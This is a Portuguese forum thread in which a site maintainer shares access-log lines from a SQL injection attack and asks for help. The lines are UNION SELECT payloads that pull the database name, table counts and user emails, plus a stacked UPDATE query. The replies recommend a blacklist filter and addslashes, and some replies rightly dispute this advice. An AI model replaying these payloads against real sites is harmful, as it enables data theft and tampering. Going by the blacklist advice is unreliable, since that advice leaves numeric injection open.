Usamos cookies para medir audiência e melhorar sua experiência. Você pode aceitar ou recusar a qualquer momento. Veja sobre o iMasters.
Bom dia,
A uns dias um dos sites que trabalho sofreu um ataque, foram inseridas diversas fotos de ---ografia em nosso banco da dados.
Até pouco tempo eu estava descartando a possibilidade de ser SQL Injection, pois, as páginas que conferi (o site não foi desenvolvido por mim e eu trabalho aqui a pouco tempo), estavam com a função mysql_real_escape_string().
Em todo caso, peguei o log de acessos e começei a pesquisar por palavras como UPDATE, SELECT e coisas do tipo... e então encontrei essas linhas:
>
noticia.php?id=-999.9%20UNION%20ALL%20SELECT%200x31303235343830303536,0x31303235343830303536
noticia.php?id=-999.9%20UNION%20ALL%20SELECT%200x31303235343830303536,0x31303235343830303536,0x31303235343830303536
noticia.php?id=-999.9%20UNION%20ALL%20SELECT%20(select%20concat(0x7e,0x27,0x7233646D3076335F68766A5F696E6A656374696F6E,0x27,0x7e)%20limit%200,1),0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536
noticia.php?id=-999.9%20UNION%20ALL%20SELECT%20concat(0x7e,0x27,Hex(cast(database()%20as%20char)),0x27,0x7e),0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536
noticia.php?id=-999.9%20UNION%20ALL%20SELECT%20(SELECT%20concat(0x7e,0x27,count(table_name),0x27,0x7e)%20FROM%20`information_schema`.tables%20WHERE%20table_schema=0x706F7274616C),0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536
noticia.php?id=-999.9%20UNION%20ALL%20SELECT%20(SELECT%20concat(0x7e,0x27,Hex(cast(usuarios.usu_email%20as%20char)),0x27,0x7e)%20FROM%20`portal`.usuarios%20LIMIT%202,1)%20,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536
noticia.php?id=744;UPDATE%20noticias%20SET%20not_usuario_id=1%20WHERE%20not_usuario_id=3
O nome do site prefiro preservar, apesar dessa página ter sido corrigida e,
como sou um pouco leigo com SQL, gostaria de confirmar, isso é SQL Injection?
Desde já obrigado
você tem que tratar isso .. fazer um preg_replace com um filtro talvez ... tinha um getGet rodando por ai .. eu to usando ele e não tenho problemas
quanto a isso
Muito obrigado aos dois pelas respostas.
Seguindo a idéia do preg_replace do Andrey, dei uma pesquisada aqui no forum e encontrei a função abaixo, e estou usando-a.
function anti_injection( $sql ) {
$sql = preg_replace( "/(from|select|insert|delete|where|drop table|show tables|#|\*|--|\\\\)/i", "", $sql );
$sql = trim( $sql );
$sql = strip_tags( $sql );
$sql = addslashes( $sql );
return $sql;
}
Não sei até que ponto ela é eficaz, como disse antes, não conheço muito sobre SQL.
Mas uma coisa é certa: está bem mais seguro do que antes.
Cara só o addslashes já resolve o_o
>
Cara só o addslashes já resolve o_o
Na verdade não. Para campos de string o addslashes resolve. Para os outros tipos de campos, fazer o cast é fundamental.
Carlos Eduardo
Sim Matias .. e não presisa do addslashes , usa o escape_string ..
>
Sim Matias .. e não presisa do addslashes , usa o escape_string ..
O escape_string que você diz é o mysql_escape_string? Se for, ele só funciona caso você tenha uma conexão ativa com o MySQL no momento da execução. Caso você precise utilizar um banco de dados diferente (Postrgre, SQL Server, qualquer NoSQL...) você vai precisar modificar a função que faz o tratamento dos dados, pois ela deixará de funcionar. Addslashes funciona sempre, independente do banco de dados.
Carlos Eduardo
ele só funciona caso você tenha uma conexão ativa com o MySQL no momento da execução.
e esteja usando também a extensão mysql_, se estiver com mysqli, ele não funciona ^_^
ya .. não e o mysql_escape .. mysql_real_escape_string , mesmo porque não sei se tem diferença .. so foi uma ideia .. mais as funçoes nativas do php como 'addslashes' vai dar no mesmo do escape (: :joia:
Sim.
nem todo sql injection é baseado apenas nas aspas. (na verdade, essa as aspas são a forma menos eficaz)